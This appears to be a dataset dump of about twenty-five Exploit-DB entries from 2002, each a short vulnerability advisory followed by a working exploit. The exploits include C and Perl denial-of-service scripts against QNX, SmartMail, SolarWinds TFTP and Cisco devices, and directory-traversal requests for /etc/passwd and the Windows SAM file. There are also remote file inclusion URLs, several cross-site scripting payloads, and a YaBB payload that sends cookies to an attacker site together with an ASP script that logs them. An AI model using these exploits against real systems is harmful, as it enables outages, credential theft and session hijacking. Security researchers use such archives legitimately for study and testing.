QLWD/code_shield huggingface dataset:
标题: QNX 6.1 - 'TimeCreate' Local Denial of Service EDB-ID: 21984 CVE: 2002-1983 类型: DOS 平台: UNIX 发布日期: 2002-11-06 漏洞利用脚本: // source: https://www.securityfocus.com/bid/6114/info

A denial of service vulnerability has been discovered in QNX.

It has been reported that it is possible for unprivileged users to cause QNX systems to stop responding, by creating multiple timers containing specific characteristics.

It should be noted that this issue was reported for QNX 6.1. It is not yet known whether this issue affects other releases.

/*
 * QNX RTP 6.1 Local DoS exploit
 *
 * author: Pawel Pisarczyk <pawel@immos.com.pl>, 2002
 *
 * After compilation and output binary execution system hangs.
 */
 
#include <errno.h>
#include <stdio.h>
#include <stddef.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/neutrino.h>
#include <inttypes.h>


int main(int argc, char *argv[])
{
 struct sigevent event;
 struct _itimer itimer;
 int chid;
 int tmid;
 int coid;
 int k;
  

 if ((chid = ChannelCreate(0)) < 0) {
  fprintf(stderr, "Can't create channel!\n");
  exit(-1);
 }
 
 if ((coid = ConnectAttach(0, getpid(), chid, 0, 0)) < 0) {
  fprintf(stderr, "Can't connect to channel!\n");
  exit(-1);
 }
 
 
 for (k = 0; k < 16; k++) {
 
  SIGEV_PULSE_INIT(&event, coid, 16, _PULSE_CODE_MINAVAIL + 1, k);
  
  if ((tmid = TimerCreate(CLOCK_REALTIME, &event)) < 0) {
   fprintf(stderr, "Can't create timer!\n");
   return -1;
  }


  itimer.nsec = 1000000;
  itimer.interval_nsec = 1000000;
  TimerSettime(tmid, 0, &itimer, NULL);
 }
 
 
 while (getc(stdin) != '#');
 return 0;
} URL: https://www.exploit-db.com/exploits/21984
标题: SmartMail Server 1.0 Beta 10 - Oversized Request Denial of Service EDB-ID: 21973 CVE: 2002-1945 类型: DOS 平台: WINDOWS 发布日期: 2002-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/6075/info

SmartMail Server is reported to be prone to a remote denial of service
condition. It is possible to trigger this condition by sending large amounts (5MB+) of data to the server via TCP port 25 or 110.

SmartMail Server will need to be restarted to regain normal functionality.

This issue was reported in SmartMail Server 1.0 BETA 10. It is not known if other versions are affected. 

#!/usr/bin/perl -w
# tool smartdos.pl
# securma@caramail.com
# Greetz: marocit and #crack.fr (specialement christal.)
#
use IO::Socket;
if ($#ARGV<0)
{
 print "\n write the target IP!\n\n";
 exit;
}
$buffer = "A"x 5099999 ;
$connect = IO::Socket::INET ->new (Proto=>"tcp",
PeerAddr=> "$ARGV[0]",
PeerPort=>"25"); unless ($connect) { die "cant connect $ARGV
[0]" }
print $connect "$buffer";
print "\nsending exploit......\n\n"; URL: https://www.exploit-db.com/exploits/21973
标题: SmartMail Server 2.0 - Closed Connection Denial of Service EDB-ID: 21972 CVE: 2002-1862 类型: DOS 平台: WINDOWS 发布日期: 2002-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/6074/info

SmartMail Server is reported to be prone to a denial of service when a client is sending data and then closes the connection unexpectedly.

SmartMail Server will need to be restarted to regain normal functionality.

This issue was reported in SmartMail Server 2.0 Interim Build 83. It is not known if other versions are affected.


#!/usr/bin/perl -w
# greetz: marocit and #crack.fr (christal)
# securma@caramail.com
use Socket;
if (not $ARGV[0]) {
        print qq~
                Usage: sm.pl <host>
        ~;
exit;}

$ip=$ARGV[0];
print "SmartMail server 2.0 DoS\n\n";
print "Sending Exploit Code to host: " . $ip . "\n\n";
sendexplt("MASSINE");
sub sendexplt {
 my ($pstr)=@_;
        $target= inet_aton($ip) || die("inet_aton
problems");
 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')
||0) ||
 die("Socket problems\n");
 if(connect(S,pack "SnA4x8",2,25,$target)){
 select(S);
                $|=1;
 print $pstr;
 sleep 3;
         close(S);
 } else { die("Can't connect...\n"); }
} URL: https://www.exploit-db.com/exploits/21972
标题: Cisco AS5350 - Universal Gateway Portscan Denial of Service EDB-ID: 21971 CVE: 2002-2379 类型: DOS 平台: HARDWARE 发布日期: 2002-10-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/6059/info

The Cisco AS5350 Universal Gateway is reported to be prone to a denial of service condition. It is possible to cause this condition by portscanning a vulnerable device.

This issue was reported for Cisco AS5350 devices running Cisco IOS release 12.2(11)T. Other firmware and devices may also be affected.

There are conflicting reports regarding the existence of this vulnerability. One source states that this condition reportedly does not occur if there are no Access Control Lists (ACL) applied on the device and also mentions that this may be related to a known SSH bug. Other sources have indicated that the issue may be related to a configuration problem. 

nmap -Tinsane -p 1-65535 <target> URL: https://www.exploit-db.com/exploits/21971
标题: MailReader.com 2.3.x - 'NPH-MR.cgi' File Disclosure EDB-ID: 21966 CVE: 2002-1581 类型: WEBAPPS 平台: CGI 发布日期: 2002-10-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/6055/info

A vulnerability exists in Mailreader.com which may enable remote attackers to disclose the contents of arbitrary webserver readable files. An attacker may exploit this issue by submitting a malicious web request containing dot-dot-slash (../) directory traversal sequences. The request must be for a known resource, and the file request must be appended by a null byte (%00).

http://www.example.com/cgi-bin/mail/nph-mr.cgi?do=loginhelp&configLanguage=../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/21966
标题: Benjamin Lefevre Dobermann Forum 0.x - 'enteteacceuil.php?subpath' Remote File Inclusion EDB-ID: 21968 CVE: 2002-2200 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/6057/info
 
Dobermann Forum is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Dobermann. An attacker may exploit this by supplying a path to a file on a remote host as a value for the 'subpath' parameter. 

http://[target]/enteteacceuil.php?subpath=http://[attacker]/banniere.php URL: https://www.exploit-db.com/exploits/21968
标题: MyMarket 1.71 - 'Form_Header.php' Cross-Site Scripting EDB-ID: 21961 CVE: 2002-2362 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/6035/info

MyMarket is prone to cross-site scripting attacks.

HTML tags and script code are not sanitized from CGI variables which may cause user-supplied input to be displayed. As a result, an attacker can create a link to a site running the vulnerable software which contains malicious attacker-supplied HTML and script code.

When this link is visited, the attacker-supplied code will execute in the user's web client in the security context of the site hosting the software. 

http://www.example.com/templates/form_header.php?noticemsg=<Script>javascript:alert(document.cookie)</Script> URL: https://www.exploit-db.com/exploits/21961
标题: Benjamin Lefevre Dobermann Forum 0.x - 'entete.php?subpath' Remote File Inclusion EDB-ID: 21967 CVE: 2002-2200 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/6057/info

Dobermann Forum is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Dobermann. An attacker may exploit this by supplying a path to a file on a remote host as a value for the 'subpath' parameter. 

http://[target]/entete.php?subpath=http://[attacker]/banniere.php

http://[target]/topic/entete.php?subpath=http://[attacker]/banniere.php URL: https://www.exploit-db.com/exploits/21967
标题: Benjamin Lefevre Dobermann Forum 0.x - 'index.php?subpath' Remote File Inclusion EDB-ID: 21969 CVE: 2002-2200 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/6057/info
  
Dobermann Forum is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Dobermann. An attacker may exploit this by supplying a path to a file on a remote host as a value for the 'subpath' parameter. 

http://[target]/index.php?subpath=http://[attacker]/banniere.php URL: https://www.exploit-db.com/exploits/21969
标题: Microsoft Internet Explorer 5/6 - Cached Objects Zone Bypass EDB-ID: 21959 CVE: 2002-1254 类型: REMOTE 平台: WINDOWS 发布日期: 2002-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/6028/info

Multiple vulnerabilities have been reported for Microsoft Internet Explorer. These vulnerabilities have been reported to affect Internet Explorer 5.5 to 6.0. Internet Explorer 6.0 with Service Pack 1 and Internet Explorer 5 with Service Pack 2 are reportedly not vulnerable.

The vulnerabilities are due to how Internet Explorer handles cached objects. This vulnerability may allow remote attackers to execute script code in the context of other domains and security zones.

The cause appears to be a lack of access control checks when access to a document object is attempted through a separate reference to it. A malicious webmaster may exploit this vulnerability by creating a reference to several methods of the target child window. The attacker may then have the child window open a website in a different domain/Zone and obtain control of the newly created window to execute malicious code. As the domain/Zone is different in the child window, this should not be possible.

Several methods have been reported as being vulnerable to exploitation.

Exploitation of this vulnerability may allow for theft of cookie information, website impersonation or disclosure and manipulation of local files.

** Some reports indicate that Internet Explorer 6 with Service Pack may be vulnerable. 

<script language="jscript">
var oWin=open("blank.html","victim","width=100,height=100");
[Cache line here]
location.href="http://google.com";
setTimeout(
function () {
[Exploit line(s) here]
},
3000
);
</script> URL: https://www.exploit-db.com/exploits/21959
标题: Benjamin Lefevre Dobermann Forum 0.x - 'newtopic.php?subpath' Remote File Inclusion EDB-ID: 21970 CVE: 2002-2200 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/6057/info
   
Dobermann Forum is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Dobermann. An attacker may exploit this by supplying a path to a file on a remote host as a value for the 'subpath' parameter.

http://[target]/newtopic.php?subpath=http://[attacker]/banniere.php URL: https://www.exploit-db.com/exploits/21970
标题: gBook 1.4 - Administrative Access EDB-ID: 21960 CVE: 2002-1560 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/6033/info

A vulnerability has been discovered in gBook v1.4.

It has been reported that it is possible for an unauthorized attacker to gain administrative access to gBook by passing a malicious request to a php script.

Exploiting this issue could allow unauthorized attackers to execute arbitrary administrative actions against the target guestbook, such as corrupt valid user supplied entries. 

http://[Target]/gb/index.php?login=true URL: https://www.exploit-db.com/exploits/21960
标题: SolarWinds TFTP Server Standard Edition 5.0.55 - Directory Traversal EDB-ID: 21964 CVE: 2002-1209 类型: REMOTE 平台: WINDOWS 发布日期: 2002-10-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/6045/info

SolarWinds TFTP Server is distributed for the Microsoft Windows platform.

The SolarWinds TFTP Server does not properly handle user-supplied input. Due to insufficient handling of user input, it is possible for a remote user to request arbitrary files from the vulnerable server. It would be possible for a remote user to download any files readable through the permissions of the TFTP Server user.

tftp example.com GET a\..\..\winnt\repair\sam URL: https://www.exploit-db.com/exploits/21964
标题: Mojo Mail 2.7 - Email Form Cross-Site Scripting EDB-ID: 21962 CVE: 2002-2193 类型: WEBAPPS 平台: CGI 发布日期: 2002-10-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/6040/info

Mojo Mail does not filter HTML tags from URI parameters, making it prone to cross-site scripting attacks.

As a result, it is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user, in the context of the website running Mojo Mail.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software. 

http://www.example.com/cgi-bin/mojo/mojo.cgi?flavor=subscribe&email=%3Cscript%3Ealert%28%22XSS%20Vuln.%22%29%3C%2Fscript%3E&list=skazat_design_newsletter&submit=Submit URL: https://www.exploit-db.com/exploits/21962
标题: Alt-N MDaemon 6.0.x - POP Server Buffer Overflow EDB-ID: 21965 CVE: 2002-1539 类型: DOS 平台: WINDOWS 发布日期: 2002-10-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/6053/info

A buffer overflow vulnerability has been reported for MDaemon. The vulnerability is due to inadequate bounds checking on some POP server commands.

An attacker can exploit this vulnerability by submitting a very large integer value to some commands on the POP server. This will cause the MDaemon service to crash when attempting to process the command. 

+OK somedomain.com POP MDaemon 6.0.5 ready
<MDAEMON-F200210290951.AA5138234MD2795@somedomain.com>
USER blah
+OK blah... Recipient ok
PASS 123456
+OK blah@somedomain.com's mailbox has 0 total messages (0 octets).
UIDL 2147483647
-ERR no such message
UIDL 2147483648
+OK -2147483648 !!! Index 0 is not used
UIDL 2147483649

Connection to host lost.

---

user dark
+OK dark... Recipient ok
pass ******
+OK dark@dark's mailbox has 13 total messages (2274775 octets).
dele -1

Connection to host lost. URL: https://www.exploit-db.com/exploits/21965
标题: AOL Instant Messenger 4.8.2790 - Local File Execution EDB-ID: 21958 CVE: 2002-1813 类型: REMOTE 平台: WINDOWS 发布日期: 2002-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/6027/info

AOL Instant Messenger (AIM) is prone to an issue which may allow attackers to execute arbitrary files on the client system. It is possible to send a malicious link which references local files to a user of the client. When the link is visited, the referenced file on the client's local filesystem will be executed.

To exploit this issue, the attacker must know the exact location of the file to be executed. Additionally, there can be no spaces in the path or filename. This limits exploitability, since files must be on the same partition and command line arguments cannot be supplied.

Versions other than AOL Instant Messenger 4.8.2790 do not seem to be affected by this vulnerability. The vulnerability was reported for Microsoft Windows versions of the client. 

<a href ="../../../../progra~1/trojan/trojan.exe">www.example.com</a> URL: https://www.exploit-db.com/exploits/21958
标题: SolarWinds TFTP Server Standard Edition 5.0.55 - Large UDP Packet EDB-ID: 21963 CVE: 2002-1542 类型: DOS 平台: WINDOWS 发布日期: 2002-10-24 漏洞利用脚本: #source: https://www.securityfocus.com/bid/6043/info
#
#A problem in SolarWinds TFTP Server may result in a denial of service, and may have other ramifications. SolarWinds TFTP Server is distributed for the Microsoft Windows platform.
#
#Under some circumstances, it may be possible to crash a vulnerable TFTP server. By sending a UDP packet to the server that is 8193 or more bytes, the server becomes unstable. It has been reported that doing this can consistently reproduce a crash of the server, requiring a manual restart to resume normal operation. 
#
#

#!/usr/bin/perl
#TFTP Server remote DoS exploit by D4rkGr3y
use IO::Socket;
$host = "vulnerable_host";
$port = "69";
$data = "q";
$num = "8193";
$buf .= $data x $num;
$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: $@\n";
$ipaddr = inet_aton($host);
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";
print "Now, '$host' must be dead :)\n";

#EOF URL: https://www.exploit-db.com/exploits/21963
标题: PHP Arena PAFileDB 1.1.3/2.1.1/3.0 - 'Email To Friend' Cross-Site Scripting EDB-ID: 21957 CVE: 2002-1929 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/6018/info

PHP Arena paFileDB is prone to cross-site scripting attacks.

An attacker may construct a malicious link to the vulnerable script which contains arbitrary HTML and script code. If this link is visited by a web user, the attacker-supplied code will execute in their web client in the security context of the paFileDB site.

This issue is in the "Email to Friend" function of the paFileDB script. 

http://www.example.com/downloads/pafiledb.php?action=email&id=4?"<script>alert('Testing')</script>" 

http://www.example.com/downloads/pafiledb.php?action=rate&id=4?"&lt;script&gt;alert('Testing')&lt;/script&gt;" 

http://www.example.com/downloads/pafiledb.php?action=download&id=4?"&lt;script&gt;alert('Testing')&lt;/script&gt;" URL: https://www.exploit-db.com/exploits/21957
标题: IBM Websphere Edge Server 3.69/4.0 - HTTP Header Injection EDB-ID: 21948 CVE: 2002-1168 类型: REMOTE 平台: UNIX 发布日期: 2002-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/6001/info

A vulnerability has been discovered in the Caching Proxy component bundled with the IBM Websphere Edge Server.

Due to insufficient sanitization of user-supplied input it is possible for an attacker to construct a malicious link which contains arbitrary HTML and script code, which will be executed in the header of the website visited by the victim.

Attacks of this nature may make it possible for attackers to steal cookie-based authentication credentials. 

GET /%0a%0dLocation:%20http://www.evil.com/"><img%20src="javascript:alert
(document.domain)">HTTP/1.0 URL: https://www.exploit-db.com/exploits/21948
标题: Microsoft Windows XP/2000/NT 4.0 - RPC Service Denial of Service (4) EDB-ID: 21954 CVE: 2002-1561 类型: DOS 平台: WINDOWS 发布日期: 2002-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/6005/info
   
The Microsoft Windows RPC service contains a flaw that may allow a remote attacker to cause a denial of service. By sending a specifically malformed packet to TCP port 135, the RPC service will be disabled.
   
This vulnerability was originally reported to only affect Windows 2000. Microsoft has confirmed that Windows NT 4.0 and XP are also vulnerable.
   
It has been reported that installation of the provided patch will cause some problems in IIS environments. Specifically, users who are using COM+ in IIS environments may experience problems with ASP transactions.
   
A variant of this issue has been reported which allegedly affects patched systems. It is apparently possible to trigger this variant by flooding a system with malformed packets.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21954.rar URL: https://www.exploit-db.com/exploits/21954
标题: YaBB 1.40/1.41 - Login Cross-Site Scripting EDB-ID: 21950 CVE: 2002-1845 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/6004/info

A cross-site scripting vulnerability has been reported in the YaBB (Yet Another Bulletin Board) forum login script. HTML tags or script code are not sanitized from the error output of erroneous login attempts.

As a result, it is possible for a remote attacker to create a malicious link to the login page of a site hosting the web forum. The malicious link may contain arbitrary HTML and script code in the password field. Visiting the link will cause attacker-supplied code to be executed in the web client of the user.

It has been demonstrated that this vulnerability may be exploited to steal cookie-based authentication credentials. Furthermore, once an attacker has hijacked a user's session with the credentials it is possible to change that user's password without needing to further authenticate.

http://example.com/forums/index.php?board=;action=login2&user=USERNAME&cookielength=120&passwrd=PASSWORD<script>window.location.href(%22http://www.attackersite.example.com/hack.asp?%22%2Bdocument.cookie)</script>

An ASP script was also provided which will receive stolen cookie-based authentication credentials. 

------------------------------- hack.asp ------------------------------------ <% Option Explicit Const ForWriting = 2 Const ForAppending = 8 Const Create = True Dim MyFile Dim FSO ' FileSystemObject Dim TSO ' TextStreamObject Dim Str Str = Request.ServerVariables("QUERY_STRING") MyFile = Server.MapPath("./db/log.txt") Set FSO = Server.CreateObject("Scripting.FileSystemObject") Set TSO = FSO.OpenTextFile(MyFile, ForAppending, Create) if (Str <> "") then TSO.WriteLine Str TSO.close Set TSO = Nothing Set FSO = Nothing %> You have just been hacked. ----------------------------------- EOF ----------------------------------- URL: https://www.exploit-db.com/exploits/21950
标题: KMMail 1.0 - E-Mail HTML Injection EDB-ID: 21956 CVE: 2002-1958 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/6013/info

kmMail does not sufficiently sanitize HTML and script code from the body of e-mail messages. As a result, an attacker may send a malicious message to a user of kmMail that includes arbitrary HTML and script code.

This may allow an attacker to steal cookie-based authentication credentials from users of the webmail system. Other attacks are also possible.

<b onMouseOver="alert(document.location)">bolder</b> URL: https://www.exploit-db.com/exploits/21956
标题: vBulletin 2.0/2.2.x - Cross-Site Scripting EDB-ID: 21946 CVE: 2002-1922 类型: WEBAPPS 平台: JAVA 发布日期: 2002-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/5997/info

vBulletin does not filter HTML tags from URI parameters, making it prone to cross-site scripting attacks.

As a result, it is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user, in the context of the website running vBulletin.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software. 

http://<victim>/usercp.php?s=[Session ID]"><Script>alert(document.cookie);</Script> URL: https://www.exploit-db.com/exploits/21946
标题: Microsoft Windows XP/2000/NT 4.0 - RPC Service Denial of Service (3) EDB-ID: 21953 CVE: 2002-1561 类型: DOS 平台: WINDOWS 发布日期: 2002-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/6005/info
  
The Microsoft Windows RPC service contains a flaw that may allow a remote attacker to cause a denial of service. By sending a specifically malformed packet to TCP port 135, the RPC service will be disabled.
  
This vulnerability was originally reported to only affect Windows 2000. Microsoft has confirmed that Windows NT 4.0 and XP are also vulnerable.
  
It has been reported that installation of the provided patch will cause some problems in IIS environments. Specifically, users who are using COM+ in IIS environments may experience problems with ASP transactions.
  
A variant of this issue has been reported which allegedly affects patched systems. It is apparently possible to trigger this variant by flooding a system with malformed packets. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21953.tar.gz URL: https://www.exploit-db.com/exploits/21953
标题: IBM Websphere Caching Proxy 3.6/4.0 - Denial of Service EDB-ID: 21949 CVE: 2002-1169 类型: DOS 平台: UNIX 发布日期: 2002-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/6002/info

A vulnerability has been reported in the Caching Proxy component bundled with IBM WebSphere Edge Server. The vulnerability is due to inadequate checks when processing HTTP headers.

An attacker can exploit this vulnerability by sending a malformed HTTP request to the Caching Proxy. When the service attempts to process the request the service will crash thereby causing the denial of service.

GET /cgi-bin/helpout.exe HTTP URL: https://www.exploit-db.com/exploits/21949